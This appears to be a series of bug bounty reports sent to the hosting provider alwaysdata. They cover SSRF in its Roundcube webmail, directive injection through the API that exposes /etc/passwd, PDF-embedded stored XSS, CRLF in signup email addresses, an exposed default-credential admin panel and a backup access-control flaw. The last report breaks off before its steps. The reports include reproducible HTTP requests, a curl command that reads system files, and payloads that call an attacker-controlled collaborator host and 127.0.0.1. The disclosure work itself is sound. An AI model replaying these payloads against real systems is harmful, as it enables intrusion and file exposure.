i set up a Burp Collaborator listener and sent an email with a malicious <link> tag pointing to my collaborator domain. When i previewed the email with _safe=1, i received an HTTP request from your server, this IP 185.31.40.185 belongs to alwaysdata infrastructure:

WHOIS Data:

inetnum:    185.31.40.0 - 185.31.43.255
netname:    FR-ALWAYSDATA-20130719
descr:      ALWAYSDATA SARL
country:    FR
org:        ORG-AS291-RIPE
ASN:        AS60362

This confirms the HTTP request originated from your server, not from my browser.
PoC
Step 1: Send Malicious Email

POST /roundcube/?_task=mail&_action=send HTTP/2
Host: webmail.alwaysdata.com
Content-Type: application/x-www-form-urlencoded
Cookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=<AUTH_TOKEN>
X-Roundcube-Request: M1HcH0yTzJMkS4Fa6ltUw9tD4Z4iFaH9

_token=M1HcH0yTzJMkS4Fa6ltUw9tD4Z4iFaH9&_task=mail&_action=send&_id=104032622669b7340a72208&_from=70213&_to=payload-life@alwaysdata.net&_subject=Test&_is_html=1&_message=%3C!DOCTYPE+html%3E%3Chtml%3E%3Chead%3E%0A%3Clink+rel%3D%22stylesheet%22+href%3D%22http%3A%2F%2Fm3qaymssgnoizwnm93ykj2x60x6nuc.oastify.com%2Fssrf-poc.css%22%3E%0A%3C%2Fhead%3E%3Cbody%3ESSRF+Test%3C%2Fbody%3E%3C%2Fhtml%3E

Decoded email body:

<!DOCTYPE html>

<head>
<link rel="stylesheet" href="http://m3qaymssgnoizwnm93ykj2x60x6nuc.oastify.com/ssrf-poc.css">
</head>
<body>SSRF Test</body>

Step 2: Preview Email with _safe=1

GET /roundcube/?_task=mail&_framed=1&_uid=8&_mbox=INBOX&_safe=1&_action=preview HTTP/2
Host: webmail.alwaysdata.com
Cookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=<AUTH_TOKEN>
Accept: text/html

The _safe=1 parameter bypasses the “Allow remote resources” prompt. The response contains modcss links that trigger the SSRF.
Step 3: Trigger SSRF via modcss

The preview response contains links like:

<link rel="stylesheet" href="./?_task=utils&_action=modcss&_u=tmp-41706b4d345bb0a5fe2f6e82d3caa57e.css">

When this modcss URL is fetched, the server makes the SSRF request:

GET /roundcube/?_task=utils&_action=modcss&_u=tmp-41706b4d345bb0a5fe2f6e82d3caa57e.css&_c=message-htmlpart1&_p=v1 HTTP/2
Host: webmail.alwaysdata.com
Cookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=<AUTH_TOKEN>
Accept: text/css

This request causes the server to fetch the attacker’s URL server-side using GuzzleHttp.
Step 4: Internal Enumeration (Optional)

To target internal services, use this email body:

<!DOCTYPE html>

<head>
<link rel="stylesheet" href="http://127.0.0.1/">
</head>
<body>Internal enumeration</body>

Steps to Reproduce

  Login to webmail.alwaysdata.com with a valid account
  Generate a Collaborator payload or webhook
  Send an HTML email to yourself with a malicious <link> tag (see Step 1)
  Preview the email with _safe=1 parameter (see Step 2)
  Fetch the modcss URL from the preview response (see Step 3) - this triggers the SSRF
  Check your Collaborator for incoming HTTP requests from 185.31.40.185

Results
1. Collaborator Received HTTP Request from the Server

When i triggered the SSRF, my Collaborator received this request:

Timestamp: 2026-03-15T22:18:55.739Z
Client IP: 185.31.40.185
User-Agent: GuzzleHttp/7
Request: GET /ssrf-poc.css HTTP/1.1
Host: m3qaymssgnoizwnm93ykj2x60x6nuc.oastify.com

If this was my browser making the request, the User-Agent would be Mozilla/5.0… and the IP would be my home IP. Instead, it’s GuzzleHttp/7 from 185.31.40.185.
2. Content Exfiltration

When i send an email with a <link> tag pointing to a CSS file (e.g., the Roundcube skin CSS), the server fetches it and returns the full content:

Request:

GET /roundcube/?_task=utils&_action=modcss&_u=tmp-da2506570833332561f753a8e4264709.css&_c=message-htmlpart1&_p=v1 HTTP/2
Host: webmail.alwaysdata.com
Cookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=<AUTH_TOKEN>
Accept: text/css,*/*;q=0.1

Response:

HTTP/2 200 OK
Server: nginx
Date: Sun, 15 Mar 2026 23:08:11 GMT
Content-Type: text/css;charset=UTF-8
Via: 1.1 alproxy

#messagehtmlpart1 #v1filtersetslist td.v1name:before,
#messagehtmlpart1 #v1filterslist td.v1name:before,
#messagehtmlpart1 #v1identities-table td.v1mail:before,
#messagehtmlpart1 #v1message-header .v1header-links a:before,
… [truncated - full CSS content exfiltrated]

3. Internal Network is Reachable

When i target internal IPs like 127.0.0.1 or external Collaborator URLs, the server connects and returns “Invalid response” however requests are still being sent internally:

Request:

GET /roundcube/?_task=utils&_action=modcss&_u=tmp-41706b4d345bb0a5fe2f6e82d3caa57e.css&_c=message-htmlpart1&_p=v1 HTTP/2
Host: webmail.alwaysdata.com
Cookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=<AUTH_TOKEN>
Accept: text/css,*/*;q=0.1

Response:

HTTP/2 404 Not Found
Server: nginx
Date: Sun, 15 Mar 2026 23:08:25 GMT
Content-Type: text/html; charset=UTF-8
Via: 1.1 alproxy

Invalid response returned by server

Hello Team,

Summary:
Alwaysdata SignUp feature is misconfigured with email parameter. Email address parameter is accepting % and %0d%0a character along with genuine email address. Using this technique alwaysdata user account can be created but cannot be verified as there is not possible to verify those invalid email accounts. Basically random use of invalid email address, attacker can create multiple accounts.

Description:
As email address field always being verified with any special character (except @ and .) but here email is accepting % and line termination char %0d%0a

Steps To Reproduce
1.SignUp with new alwaysdata account
2.Use email address adding with character like % or %0d%0a, account will be created and you will get a account validation

3.Even if you try now to login using same above email and password then you will get account validation message.
4.You can not use the same invalid email again, as it will show an error of reuse of that invalid email address

Impact
Garbage value can be stored in database using user account signup form
Multiple account can be created, just like if any use has real account with his email address, then also account can be created by adding %0d%0a or % char
Account is created using invalid email address, but can not be used

Thank You,

Waleed Anwar

Hello Security Team,

I would like to report a security issue identified while testing site configuration through the API.

Name of vulnerability:
Apache directive injection through vhost_additional_directives in site configuration API

Description:
The vhost_additional_directives field appears to accept Apache directive content without filtering. In testing performed on a site under my own account, a directive supplied through this field was applied to the generated virtual host configuration and became active on the hosted site.

A simple Alias directive was accepted and mapped a local file to a public path, indicating that directives provided through this field are interpreted by Apache as part of the site configuration.

Steps to reproduce:
Using a site under my own account, I sent the following PATCH request:

curl -u "<account>:<password>"
-X PATCH "https://api.alwaysdata.com/v1/site/<site_id>/"
-H "Content-Type: application/json"
-d '{"vhost_additional_directives":"Alias /readfile /etc/passwd"}'

After the configuration was applied, I accessed:

https://<test-subdomain>.alwaysdata.net/readfile

The response returned the contents of /etc/passwd. A screenshot showing both the request and the resulting response is attached for reference.

Impact:
This behavior suggests that directives supplied through the API may be applied without validation, allowing configuration changes beyond the intended scope of this field. In the tested case, it resulted in local file exposure through a web-accessible path on a site under my own account.

Vulnerable HTTP Request and Response:

Request:

PATCH /v1/site/<site_id>/ HTTP/1.1
Content-Type: application/json

{
"vhost_additional_directives": "Alias /readfile /etc/passwd"
}

Observed response after visiting the configured path:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
…

Remediation:
A possible remediation would be to validate or restrict directives accepted in vhost_additional_directives, allow only expected configuration directives, and reject directives that expose filesystem paths or alter request routing outside the intended use of this field.

Testing was limited to infrastructure associated with my own account. No destructive actions were performed, and only read verification was used to confirm the behavior.

Please let me know if any additional details would be helpful.

Best regards

Dear Alwaysdata Security Team,

I believe I have reproduced a stored XSS via file upload in the support ticket feature at admin.alwaysdata.com, which appears similar to your previously reported tasks  FS#63 ,  FS#131  and  FS#195 .

Summary Feature: Support ticket creation (/support/add/) on admin.alwaysdata.com.

Vector: Malicious PDF attachment with embedded JavaScript (created using JS2PDFInjector).

Impact: When a staff member opens the attached PDF from the ticket page, JavaScript executes in the context of admin.alwaysdata.com.

Steps to reproduce Log in to the admin panel and go to Support → Open a new ticket (https://admin.alwaysdata.com/support/add/).

Fill in Object/Subject/Message with any values (I also tested some filtered HTML/Markdown payloads which were correctly neutralized).

Attach a PDF named js_injected_poc.pdf containing embedded JS such as:
app.alert("DJH4CK3R");
app.alert("XSS");

Submit the ticket (I used a normal submission; using Content-Encoding: gzip also works but is not required).
​
Open the ticket in the support inbox: https://admin.alwaysdata.com/support/92563/#Bottom.

Click the attachment link js_injected_poc.pdf, which points to for example:
https://admin.alwaysdata.com/support/92563/427563-js_injected_poc.pdf.
​
The PDF is rendered and the embedded JavaScript executes, showing alert dialogs “DJH4CK3R” and “XSS” coming from admin.alwaysdata.com.
​

Notes about prior reports I noticed that very similar issues have been reported before:

 FS#63  – Stored XSS Via Upload Document
 FS#131  – Stored XSS by PDF in Support inbox
 FS#195  – Stored Cross‑Site Scripting (XSS) via File Upload in Support Ticket Feature

My PoC demonstrates that as of March 13, 2026 this vector is still exploitable via PDF attachment and direct view in the support interface. I’m fully aware this might be treated as a duplicate / regression and I’m not reporting it with bounty expectations; I mainly wanted to flag that the mitigation for those tasks may not completely cover PDF‑based payloads.

If you would like, I can provide:
The exact PoC PDF file
Burp request/response logs for the ticket submission
A short video showing upload → ticket → alert execution

Thank you for your time and for keeping the platform secure.

Cordially,
DJH4CK3R

Dear alwaysdata Security Team,

I hope this message finds you well. I am writing to submit a vulnerability report through your Bug Bounty program as outlined in your policy at https://www.alwaysdata.com/en/technical-specifications/bug-bounty/.

Vulnerability Summary
I have discovered a critical security misconfiguration involving a customer site hosted on your platform. An admin panel with default login credentials is publicly exposed, allowing unauthorized administrative access to the CMS installation.

Affected Assets
Domain: https://boidcms.alwaysdata.net

Admin Panel: https://boidcms.alwaysdata.net/admin

IP Address: http://1.92.94.174 (also hosts the same CMS)

Service: boidCMS installation on alwaysdata infrastructure

Discovery Details
Date of Discovery: March 13, 2026
Steps to Reproduce
Navigate to http://1.92.94.174/admin

Observe the login page which explicitly displays credentials:

text
Login Credentials:
Username: admin, Password: password
Enter the provided credentials (admin/password)

Observe successful authentication and redirect to https://boidcms.alwaysdata.net/admin

Full administrative dashboard becomes accessible with permissions to:

Create/Update/Delete content

Manage media files

Install/modify plugins and themes

Access system settings

Proof of Concept
I have attached screenshots documenting:

Screenshot 1: The login page at http://1.92.94.174/admin showing exposed credentials

Screenshot 2: Successful login redirect to boidcms.alwaysdata.net/admin

Screenshot 3: The admin dashboard confirming full access

Security Impact
An attacker exploiting this vulnerability could:

Gain complete control over the website

Deface or modify site content

Upload malicious files through media management

Install backdoor plugins for persistent access

Potentially leverage this access to probe other alwaysdata services

Use the domain for phishing or malware distribution

CVSS Assessment
Based on your scoring guidelines, I believe this qualifies as:

CVSS Score: 9.1 (Critical)

Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Category: Access Control Issues / Broken Authentication

Please let me know if you need any additional information, clarification, or if you would like me to test a fix once deployed. I am happy to assist in any way to ensure this issue is properly addressed.

Thank you for maintaining a bug bounty program and for your commitment to platform security.

Best regards,

Actual Issue:

A user that does not have backup permissions is still able to access backup-related task and log details by replaying previously captured requests.

The following endpoints return backup-related information even after the user’s backup permission has been removed:

GET /task/<id>/detail/ HTTP/2
Host: admin.alwaysdata.com

GET /log/<id>/detail/ HTTP/2
Host: admin.alwaysdata.com

Since backup access is denied, the user should not be able to access any backup-related task or log information.

Steps To Reproduce

accountA@gmail.com

accountB@gmail.com

Security Impact.

Additional Notes